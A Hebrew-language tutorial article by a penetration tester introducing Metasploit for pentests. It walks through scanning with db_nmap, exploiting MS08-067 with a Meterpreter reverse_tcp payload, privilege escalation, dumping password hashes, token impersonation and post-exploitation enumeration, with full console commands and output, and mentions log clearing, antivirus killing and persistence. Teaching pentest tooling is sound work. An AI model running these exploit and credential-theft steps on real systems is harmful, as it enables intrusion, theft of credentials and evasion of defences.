Awesomeness - Metasploit בכללותו

מאת יובל נתיב

הקדמה

Metasploit התחילה את דרכה כפלטפורמה לפיתוח והרצה של אקספלויטים (Exploits). אקספלויט הוא קטע קוד שיודע לנצל חולשה ספציפית במערכת ספציפית. לא משנה אם המערכת המיועדת מבוססת רשת או שמדובר במערכת הפעלה או תוכנה מסוימת. אקלספלויטים היו זמינים הרבה לפני Metasploit ונשארו כך. הבעיה התחלה כאשר כל אחד כתב את אקספלויטים משל עצמו בצורה הנוחה לו: בשפת תכנות שהוא מבין, עם דברים פרמפרטים מקודדים באופן קשיח בקוד (hardcoded). לדוגמא, במידה והורדתי אקספלויט שמאפשר הרצת קוד מרחוק על מערכת X, כנראה שהייתי צריך לאתר בתוך הקוד היכן בדיוק נמצא הקוד עצמו שמורץ על המכונה המרוחקת בתוך כלל האקספלויט ולהבין כיצד עליי לקודד אותו ומאילו תווים עליי להמנע.

Metasploit נולדה בשנת 2003 על ידי בחור מוכר מאוד בתחום בשם HD Moore. בראשית דרכה Metasploit באה על מנת לאפשר לנו להפוך כל אקספלויט למודולרי. כל חלק בו היה ניתן להחלפה ולשינוי בקלות יתרה. עם הזמן, התפתחה Metasploit והיום היא סט כלי תקיפה מקיף. בהתחלה היו בה מודולים מסוג ה-Auxiliary ("שונות") אשר הכילו מאות כלים שימושיים שבהם נוכל להשתמש במהלך התקיפה שלנו ללא צורך לצאת מהפלטפורמה. בין היתר, קיימים מודולים לזיוף שרתים (כגון שרתי SMB, שרתי HTTP, FTP ועוד) ותפיסה של תהליכי אימות, סריקה של שרותי VNC ללא אימות, זיוף DNS, זיוף שמות NetBIOS ועוד. בשנת 2009 חברה בשם Rapid7 רכשה את המערכת, אך השאירה אותה כקוד פתוח. להיסטוריה המלאה של Metasploit:

http://www.metasploit.com/about/history/

לסיכום, Metasploit מכילה כמות מודולים גדולה מאוד כאשר מודולים מסוג "Exploit" הן עיקרה של המערכת. מודולי ה-Payloads הם המודולים המשמשים אותנו לצורך הרצת קוד מרחוק. מדולי ה-POST, הם מודולים מוכנים לטובת שימוש לאחר השתלטות על מערכת המכילים כלים כמו ביצוע אסקלצית הרשאות, איסוף מידע וסיסמאות, ניקוי לוגים, הריגת אנטי-וירוסים ועוד.

במאמר זה אנסה לסקור את הפלטפורמה, מספר מודולים ראשיים ומרכזיים ודרך עבודה נכונה בעת ביצוע Penetration Test בעזרת Metasploit.

מהיכן מתחילים?

ראשית, אנו נתייחס במאמר זה אך ורק לממשק העבודה הטקסטואלי של Metasploit כאשר כל ממשק עבודה אחר גם הוא לגיטימי. אישית, אני מעדיף לעבוד עם הממשק הזה מכיוון שלטעמי האופציות בו יותר ענפות ולכן את הדוגמאות אתן איתו.

לאחר שנעלה את הפלטפורה נקבל קונסולה קטנה ונחמדה:

```
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1045 exploits - 643 auxiliary - 178 post
+ -- --=[ 274 payloads - 28 encoders - 8 nops

msf >
```

כטיפ קטן לכל אורך המבדק שלכם: **תעדו הכל**. כל פעולה שאתם מבצעים במהלך הבדיקה צריכה להיות מתועדת לתהליך כתיבת הדו"ח וגם לאחר מכן. בתוך הפלטפורמה בנו לנו כלי קטן ונחמד שנקרא spool. מטרת הכלי הזה היא לתעד את כל הנעשה בקונסולה. ישנה אפשרות להריץ את spool עם אופציה של off בסיום וכך לסיים תיעוד או להריץ אותו כך:

```
msf > spool /tmp/console.log
[*] Spooling to file /tmp/console.log...
msf > >
```

לאחר התחלת התיעוד נוכל לראות שנוסף לקונסולה סימן "<" שנועד לסמן שאנו בתוך אופציית התיעוד. כעת, נתחיל מלהתייחס אל הפלטפורמה כראוי: אחד הכלים שאנו מרבים להשתמש בו במהלך המבדקים הוא הכלי nmap. Metasploit מכילה בתוכה מסד נתונים שלם שרוב המשתמשים מכירים, אך מה לגבי האיזור שמיועד לסביבת הסריקות? נוכל להתחיל סריקת nmap ולהזין אותה ישירות לתוך מסד הנתונים להמשך תיעוד, ניתוח ועבודה כך:

```
msf > db_nmap -O -sV 192.168.1.1-50
[*] Nmap: Starting Nmap 6.25 (http://nmap.org) at 2013-02-11 14:04 IST
[*] Nmap: Nmap scan report for 192.168.1.1
[*] Nmap: Host is up (0.0047s latency).
[.....]
[*] Nmap: Device type: WAP
[*] Nmap: Running: Netgear embedded, Thomson embedded, Ubee embedded
[*] Nmap: OS CPE: cpe:/h:netgear:cg814wg cpe:/h:thomson:twg870u
cpe:/h:ubee:dvw3201b
```

```
[*] Nmap: OS details: Netgear CG814WG v2, Thomson TWG870U, or Ubee DVW3201B
wireless cable modem [.....]
[*] Nmap: Nmap scan report for 192.168.1.19
[*] Nmap: Not shown: 996 filtered ports [.....]
[*] Nmap: Device type: general purpose|phone
[*] Nmap: Running: Microsoft Windows 7|Vista|2008|Phone
[*] Nmap: OS details: Microsoft Windows 7 Professional, Microsoft Windows Vista
SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2,
Windows 7 SP1, or Windows Server 2008, Microsoft Windows Phone 7.5
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows [.....]
[*] Nmap: OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 50 IP addresses (6 hosts up) scanned in 114.60 seconds
msf >
```

כמובן שלאחר db_nmap אנו מזינים פקודת nmap רגילה לחלוטין. עכשיו ניתן לראות את היתרון של סריקה דרך הפלטפורמה: בעת הקלדת הפקודה hosts נוכל לראות את הנתונים של אותם רכיבים שמצאנו במהלך הסריקה:

```
msf > hosts

Hosts
=====

address         mac                name             os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----             -------            ---------  -----  -------  ----  --------
192.168.1.1     XX:XX:XX:XX:XX:XX                   Netgear embedded                     device
192.168.1.19    XX:XX:XX:XX:XX:XX                   Microsoft Windows  7                 device
192.168.1.21                                        Linux              Ubuntu            server
192.168.3.110                      XXXXXX-216       Microsoft Windows  7          SP0    client
192.168.3.126                      XXXXXX-206       Microsoft Windows  7          SP0    client
192.168.3.128
192.168.3.135                      VM7-PC           Microsoft Windows  7          SP0    client
192.168.3.138                      WIN-8T0F47RNT1C  Microsoft Windows  7          SP1    client
192.168.3.139                      SANDBOX-YH6A900  Microsoft Windows  XP         SP1    client
192.168.7.24                       CARMITLA-PC      Microsoft Windows  7          SP1    client
192.168.7.49    XX:XX:XX:XX:XX:XX  XXXXXX-121       Microsoft Windows  XP         SP2    client
192.168.7.201                      XXXXXX-617       Microsoft Windows  XP         SP2    client
msf >
```

[כמובן התוצאות מוזערו קצת כדי שיתאימו לעמוד (וצונזרו).]

ובכן, אז עכשיו ניתן גם לבצע את הסריקה וגם לראות סיכום של התוצאות דרך הפלטפורמה. איפה, אם כך, היתרון של כל התהליך הזה? פקודת vulns תנסה להתאים בין הסריקה הראשונית של nmap לבין פגיעויות הידועות לפלטפורמה. התוצאה תראה כך:

```
msf > vulns
[*] Time: 2013-02-08 10:21:14 UTC Vuln: host=192.168.3.110 name=Microsoft Windows Authenticated User Code
Execution refs=CVE-1999-0504,OSVDB-3106,
[*] Time: 2013-02-08 08:48:39 UTC Vuln: host=192.168.3.126 name=Microsoft Windows Authenticated User Code
Execution refs=CVE-1999-0504,OSVDB-3106,
[*] Time: 2013-02-08 07:40:55 UTC Vuln: host=192.168.3.128 name=MS12-020 Microsoft Remote Desktop Use-After-Free
DoS refs=CVE-2012-0002,MSB-MS12-020
[*] Time: 2013-02-08 08:02:37 UTC Vuln: host=192.168.3.135 name=Microsoft Windows Authenticated User Code
Execution refs=CVE-1999-0504,OSVDB-3106
[*] Time: 2013-02-08 08:59:55 UTC Vuln: host=192.168.3.138 name=Microsoft Windows Authenticated User Code
Execution refs=CVE-1999-
[*] Time: 2013-02-08 09:07:42 UTC Vuln: host=192.168.3.139 name=Microsoft Server Service Relative Path Stack
Corruption refs
[*] Time: 2013-01-23 18:51:29 UTC Vuln: host=192.168.7.24 name=Microsoft Windows Authenticated User Code
Execution refs=CVE-1999-0
[*] Time: 2013-01-30 16:00:08 UTC Vuln: host=192.168.7.49 name=Microsoft Windows Authenticated User Code
Execution refs=CVE-1999-0504
msf >
```

כאן כבר ניתן לראות כמה היתרונות משמעותיים מול העבודה הרגילה שלנו לבין עבודה בתוך הפלטפורמה. כמובן שיהיו הרבה False Positive, אך עדיין הכלי ככלי סריקה-גס עושה עבודה לא רעה בכלל.

עבודה מסודרת

לפני שאנחנו מתחילים לרוץ וצוללים לתוך Metasploit נראה מה עוד יש לנו ואיך אנחנו יכולים לנצל דברים, בואו נסתכל על מודל העבודה הבסיסי שלנו. לאחר שחיפשנו וביקשנו מהפלטפורמה להתאים לנו את אותן הפגיעויות הקיימות, עלינו לאתר את האקספלויט המתאים לפגיעות. לצורך חיפוש בפלטפורמה אנחנו יכולים להעזר בפקודה: **search**. אך לפני שנרוץ לשם, הבא נסתכל על אפשרויות חיפוש קצת יותר מעניינות:

```
msf > search platform:windows type:exploit cve:2008-4250

Matching Modules
================

Name                                Disclosure Date              Rank    Description
----                                ---------------              ----    -----------
exploit/windows/smb/ms08_067_netapi  2008-10-28 00:00:00 UTC      great  Microsoft Server

Service Relative Path Stack Corruption

msf >
```

כלומר, אפשרויות החיפוש שלנו הן הרבה יותר נרחבות מאשר סתם 'search'. כהמלצה אישית - שננו את אפשרויות החיפוש. הדבר יעזור לכם מאוד בעת עריכת מבדק.

לאחר שמצאנו את המודול בו אנו מעוניינים להשתמש יש לבקש מהפלטפורמה לטעון את אותו. יש לשים לב, כי גם מודולים שאינן מסוג "Exploit" יכולות להיטען כמודולות ראשיות. לכן עלינו לשים לב איזה מודולים אנו טוענים. על מנת לטעון את המודול נשתמש בפקודה: **use**. הפקודה מבקשת מהפלטפורמה לטעון את המודול כמודול ראשי כך שכל שאר המודולים יטענו על גביו:

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
```

לאחר טיענת המודול נוכל להשתמש בפקודה **show**. הפקודה מציגה לנו אפשרויות ומידע נוסף על המודול הטעון. במקרה הזה, אנו מעוניינים לראות שני נושאים עיקריים. המודול שטענו מאפשר לנו הרצת קוד מרוחק. עם כך עולות כמה שאלות שנוכל לראות באמצעות המידע שמספקת לנו הפקודה show. במקרה הראשון, ארצה לדעת איזה נתונים המודול צריך על מנת לרוץ.

במקרה הזה:

```
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf  exploit(ms08_067_netapi) >
```

במקרה הנ"ל, המידע היחיד שנדרש על מנת לנצל את הפגיעות הזאת (במידה והיא קיימת במכונה כמובן) הוא כתובת המכונה המרוחקת והפורט (במידה והוא שונה מברירת המחדל). במקרה זה נגדיר לו את הפורט. בנוסף, נעדיף לציין תמיד את סוג המטרה. נוכל לעשות זאת כך:

```
msf  exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (AlwaysOn NX)
   4   Windows XP SP2 English (NX)
   [.....]
   67  Windows 2003 SP2 Spanish (NX)

msf  exploit(ms08_067_netapi) > set target 4
Target => 4

msf  exploit(ms08_067_netapi) > set rhost 192.168.2.100
rhost => 192.168.2.101

msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.2.100    yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   4   Windows XP SP2 English (NX)

msf  exploit(ms08_067_netapi) >
```

לאחר שבחרנו וראינו את כל הנתונים הדרושים, חסר לנו רק לבחור Payload, הקוד שבסופו של דבר ירוץ על המכונה הנתקפת. במידה והפגיעות הזאת מאפשרת לנו הרצת קוד מרחוק, עלינו להחליט איזה קוד ירוץ. במקרה הזה, אנו נבחר במודול שמכונה **meterpreter** (נדבר עליו בהמשך) ונשתמש בשיטת חיבור (אחת מיני רבות) שנקראת reverse_tcp שמשמעותה היא שלאחר שהקוד רץ על המכונה השניה, הוא יחזור אלינו לקבלת פקודות המשך וכך במידה ויש לנו בדרך NAT או Firewall או Proxy מסוגים שונים, כנראה שנוכל לעבור אותם בעזרת חיבור יוצא (outgoing) אשר חלים עליו חוקים אחרים מאשר חיבור נכנס (bind_tcp). כמובן שיש עוד הרבה שיטות והרבה מאוד דברים שניתן להריץ. אני ממליץ בתור דוגמא לבדוק ולשחק קצת עם reverse_https.

על מנת לראות באיזה Payloads תומך המודול אנו נשתמש שוב בפקודת ה-show. ולאחר מכן נטען את ה-Payload המבוקש:

```
msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                  Disclosure Date     Rank   Description
   ----                  ---------------     ----   -----------
   generic/custom                            normal Custom Payload
   generic/debug_trap                        normal Generic x86 Debug Trap Command [..]
   generic/shell_bind_tcp                    normal Generic
   generic/shell_reverse_tcp                 normal Generic Command Shell, Reverse [..]
   generic/tight_loop                        normal Generic x86 Tight Loop
   windows/dllinject/bind_ipv6_tcp           normal [..]
   windows/meterpreter/reverse_tcp           normal Windows Meterpreter (Reflective
                                                    Injection), Reverse TCP Stager

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set lhost 192.168.2.113
lhost => 192.168.2.113

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.2.100    yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process,
   LHOST     192.168.2.113    yes       The listen address
   LPORT     4444             yes       The listen port
```

```
Exploit target:

   Id  Name
   --  ----
   4   Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) >
```

וכעת, כל מה שנשאר לנו לעשות זה לבקש מהפלטפורמה להריץ את הפעולות שהגדרנו לה:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.2.113
[*] Meterpreter session 1 opened (192.168.2.100:50471 -> 192.168.2.113:4444) at 2013-
02-24 10:06:31 +0200
```

מפרש העל

כחלק מהבעיות שזוהו בתהליך הפריצה היה עניין השליטה מרחוק. גם לאחר שהשגנו אפשרות שליטה מרחוק עדיין קיימות הגבלות מסויימות שחלות עלינו. כך לדוגמא, אנו יכולים להשתמש בטרמינל הרגיל של המערכת. בלינוקס כנראה שנקבל bash ואם המערכת היא חלונות אזי נקבל תוצאה שאמורה לדמות את DOS. במקרה של לינוקס אנחנו קצת פחות בבעיה עקב יכולותיו במובנות של bash. אך מה קורה במידה ואנחנו תוקפים מערכת חלונות (מה שכנראה יקרה ברוב המקרים)?

במיוחד בשביל זה פותח כלי המכונה "meterpreter" בלי באמת לדעת ש-meterpreter זה ראשי תיבות של Meta-Interpreter או בתרגום חופשי - **מפרש העל**. לפני שנתחיל לדבר על פונקציות מגניבות במיוחד ויכולות של הכלי הזה - בואו נעצור לדקה ונדבר על הקונספט שמאחוריו. meterpreter מיועד להיות קוד קטן אשר מורץ במכונת הלקוח (או הנתקף) ומאפשרת לנו לכתוב קוד בכל שפה שהיא, להעלות אותו אל המכונה התוקפת, ומפרש-העל ידע להריץ אותו. הדבר תקף לגבי Ruby, Python, Perl, Bash, BATCH, VBS, C, וכן הלאה.

נתמקד בפונקציונליות מאוד מסויימת והיא תהיה היכולת שלנו לכתוב מודולים מסויימים ב-Ruby ולהריץ אותן על המכונה המרוחקת. כרגע נתחיל במודול פשוט יחסית שקיים אצל כולנו. בעצם לאחר שאנו מגיעים למצב של Session פעיל בין המחשב שלנו למחשב הנתקף, אנו יכולים להשתמש בפקודה RUN בכדי להריץ מודולי רובי על המכונה המרוחקת.

לא רק שבעזרת אותם המודולים נוכל לבצע דברים במהירות וביעילות מרובה, אלא גם נוכל לבצע דברים שהיו קשים במיוחד להשגה באופן ידני. נסקור כעת מספר מודולים מעניינים שנוכל להשתמש בהן במהלך המבדק שלנו:

Hashdump

המודול שנראה כמעט בכל ספר וכל מדריך. המודול הזה מאפשר לנו לייצא את ולנתח את קובץ ה-SAM שנמצא על המכונה המרוחקת. קובץ ה-SAM מכיל את הסיסמאות המוצפנות כנראה בעזרת NTLM או במקרה הגרוע ביותר תחת NTLMv2. יש לשים לב שעל מנת להריץ את המודול הזה אנו נצטרך להיות משתמשים בעלי הרשאות גבוהות על אותה המכונה. כאן אתן מקום למודול נוסף, חשוב במיוחד וגם ידוע מאוד, בשם getsystem. המודול הזה מכיל טכניקות מרובות לביצוע אסקלציית[שדרוג?] הרשאות משתמש (Privilege Escalation) ומפרש העל שלנו ידע לבצע אוסף של טכניקות שונות על מנת לקבל את ההרשאות הגבוהות ביותר במערכת:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.2.113
[*] Meterpreter session 1 opened (192.168.2.100:50471 ->
192.168.2.113:4444) at 2013-02-24 10:06:31 +0200

meterpreter > getsystem
...got system (via technique 1).
meterpreter > hashdump
Administrator:500:fc3a211d991668dbaad3b435b51404ee:df5443202c1dd523d0265be:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:b8e4b31f03e60623f928dd99cac341ff:b743bb146a8c2cb4292ce749b:::
IUSR_SANDBOX-YH6A900:1003:c5de71e4cf7f75732634f98ec4de47e423aef4b8bbd2952727e:::
IWAM_SANDBOX-YH6A900:1004:7ca6e79e9cbbb563e8:ca20fd328afa06b56e81b00dd785d9e9:::
shayp:1005:b267df22cb945e3eaad3b435b51404ee:36aa83bdcab3c9fdaf321ca42a31c3fc:::
SUPPORT_388945a0:1002:aad3b435b3b435b51404ee:f36dc25d7950260fb3ff3e90c936444a:::
meterpreter >
```

[תוצאות ה-HASH נחתכו על מנת שיתאימו לגודל המסך]

לאחר לכידת הסיסמאות המוצפנות נוכל לפצחן בעזרת כלים כמו John או hashcat או לחילופין - לבצע פעולה הנקראת "Pass The Hash". פירוט נוסף על העברת hash ניתן למצוא בקישור הבא:

http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash

Incognito

אולי המודול השימושי ביותר במהלך המבדק. לרוב, רוב המכונות בארגון אינן פגיעות לפגיעויות שנודעו לציבור. לרוב, נוכל למצוא מכונה או שתיים פגיעות, להשתלט עליהן, ובעזרת HASHDUMP לייצא את סיסמאת ה-Administrator המקומית של אותה המכונה, הסיסמא זאת כנראה לא תהיה זהה בשאר המכונות ברשת. מה הבעיה אם כך? הבעיה היא שלרוב אנו איננו מנסים להוציא מידע מקומי מהמערכת, אלא להכנס אל תוך הרשת: לבצע פעולות על ה-DC או לגשת לשרת הקבצים וכן הלאה. בכדי שנוכל לעשות את זה, אנו צריכים להיות בעלי הרשאה רשתית ולא מקומית.

המודול הנוכחי מנסה לפתור בדיוק את הבעיה הזאת, גם המודול הזה דורש הרשאות גבוהות, אך הוא מאפשר לנו למצוא את כל ה-Security Tokens הקיימים במכונה עליה אנחנו עובדים ולבצע התחזות ("Impersonation") או גניבת תוקנים על מנת להשיג את הרשאותיו של משתמש אחר במערכת (פעולה המכונה "Token Kidnapping"). הדבר שימושי במקרים בהם התחברנו למערכת ואנו נמצאים עם הרשאות גבוהות, אך על המחשב קיים עוד משתמש עם הרשאות רשתיות שבהן אנו חושבים שנוכל להשתמש:

```
meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
SANDBOX-YH6A900\Administrator

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token "NT AUTHORITY\\ANONYMOUS LOGON"
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\ANONYMOUS LOGON
meterpreter >
```

טיפ:

קיים מודול אשר מחבר את שתי המודולים הללו באיסוף הנתונים:

```
meterpreter >  run post/windows/gather/credentials/credential_collector

[*] Running module against SANDBOX-YH6A900
[+] Collecting hashes...
    Extracted: Administrator:fc3a214ee:df54de3f3438343202c1dd523d0265be
    Extracted: Guest:aad3b435b51404eeaad3ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: HelpAssistant:b8e4b31fac341ff:b75ea001843bb146a8c2cb4292ce749b
    Extracted: IUSR_SANDBOX- YH6A900:c5de71e4cf79:8419f3d7e47eef4b8bbd2952727e
    Extracted: IWAM_SANDBOX-YH6A900:7caffbbc47693749563e8:ca20fd3281b00dd785d9e9
    Extracted: tisf:b267df22cb945e3ea51404ee:36aa83bdcaf321ca42a31c3fc
    Extracted: SUPPORT_388945a0:aad3eaad3b435b51404ee:f36dc25d793ff3e90c936444a
```

```
[+] Collecting tokens...
    NT AUTHORITY\ANONYMOUS LOGON
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    SANDBOX-YH6A900\Administrator
    No tokens available
meterpreter >
```

איסוף מידע וסיסמאות

לאחר שהגענו למערכת אחת או שתיים, נרצה לאסוף את כל המידע האפשרי. כמעט תמיד נמצא איזה שם משתמש וסיסמא שמורים באזורים ב-Registry או בזכרון של הדפדפן או בכל מקום אחר. אנו נמצא הרבה מאוד מידע שימושי שבדרך רגילה היה לוקח לנו קצת הרבה יותר זמן למצוא. כך לדוגמא ממבדק אמיתי - ארגון עם מחשב אחד פגיע, ולאחר השתלטות, נמצא באחד הערכים השמורים ב-Registry סיסמא ל-VNC. לאחר התחברות למחשב ה-VNC נמצא כי המחשב שייך לאחד מעובדי ה-IT דבר האפשר הרשאות מלאות ל-Domain של אותו הארגון. אם כך, בואו נראה איזה כלים יש לנו אשר יכולים להיות מאוד שימושיים ומהירים לאחר ההתחברות למחשב:

בדיקת אילו מסמכים השתמש המשתמש לאחרונה:

```
meterpreter > run post/windows/gather/dumplinks

[*] Running module against V-MAC-XP
[*] Extracting lnk files for user Administrator at C:\U\Administrator\Recent\...
[*] Processing: C:\Documents and Settings\Adt\developers_guide.lnk.
[*] Processing: C:\Docutrator\Recent\documentation.lnk.
[*] Processing: C:\Docuts and Settings\Administrator\Recent\Local Disk (C).lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\Netlog.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\notes (2).lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\notes.lnk.
[*] Processing: C:\\Administrator\Recent\Release.lnk.
[*] Processing: C:\DocumSettings\Administrator\Recent\testmachine_crashie.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\user manual.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\user's guide.lnk.
[*] Processing: C:\Docr\Recent\{33D9A762-90C8-11d0-BD43-00A0C911CE86}_load.lnk.
[*] No Recent Office files found for user Administrator. Nothing to do.
meterpreter >
```

בדיקת אילו אפליקציות מותקנות על המחשב. במקרה זה יש תוצאה אחת בלבד מכיוון שמדובר במכונה נקייה וירטואלית:

```
meterpreter > run post/windows/gather/enum_applications
[*] Enumerating applications installed on SANDBOX-YH6A900
Installed Applications
=======================
 Name          Version
 ----          -------
 WebFldrs XP   9.50.6513

[*] Results stored in: /home/x/.msf4/loot/20130224103432_default_192.1[...]3.txt
```

בדיקת שיתופים ממופים על המכונה:

```
meterpreter > run post/windows/gather/enum_shares

[*] Running against session 3
[*] The following shares were found:
[*]     Name: Desktop
[*]     Path: C:\Documents and Settings\Administrator\Desktop
[*]     Type: 0
[*]
[*] Recent Mounts found:
[*]     \\192.168.1.250\software
[*]     \\192.168.1.250\Data
[*]
meterpreter >
```

ועוד רבים אחרים וטובים.

סיכום

Metasploit היא כלי אדיר מבחינת יכולות. שימוש נכון בפלטפורמה יכול להביא למבדק מוצלח או מבדק לא מוצלח. בכל מקרה, בכל שימוש בפלטפורמה, יש להתחיל עם יצירת יומן SPOOL לפי שם ותאריך המבדק לשלב מאוחר יותר. הפלטפורמה אינה מתעדת את הפעולות בתור ברירת מחדל וכל pen-tester יוכל לספר לכם אנקדוטות אישיות על החשיבות בתיעוד כל תהליך המבדק הן מבחינה משפטית והן מבחינה פרקטית. אישית, קרו לי מקרים בהם במהלך המבדק פספסתי פריט מידע כזה או אחר בעל חשיבות גבוה לתהליך הפריצה ורק בעת כתיבת הדוח הבחנתי שפספסתי את המידע ויכלתי לחזור לחקור אותו או להציף את הבעיה בדו"ח במידה והמידע מאומת בכמה מקומות.

ישנם עוד הרבה כלים בתוך הפלטפורמה שלא עברנו עליהם כגון clrevtlgs אשר מנקה יומני ארועים, killav אשר הורג אנטי וירוסים טורדניים, איסוף פרטי מידע נוספים, ניהול והרצת פקודות על כמה sessions במקביל בעזרת sessions -c או sessions -s לפי סוג הפקודה, הפיכה של session חד פעמי לעקבי בעזרת run persistence ועוד אחרים ורבים טובים.

לקריאה נוספת, הייתי ממליץ להתחיל מהעמוד של Metasploit Unleashed המכיל מדריכים ודוגמאות מאוד איכותיים ומוסברים היטב לכל מי שמתחיל להתעסק בפלטפורמה. בנוסף, מדריך המסביר כיצד לחבר את הפלטפורמה שלכם עם Nessus.

מידע על מחבר המאמר

יובל נתיב, בן 24, מנהל מחלקת תקיפה ב-See-Security ומדריך במסלול Hacking Defined Experts.
פנטסטר, חוקר אבטחת מידע ובלוגר.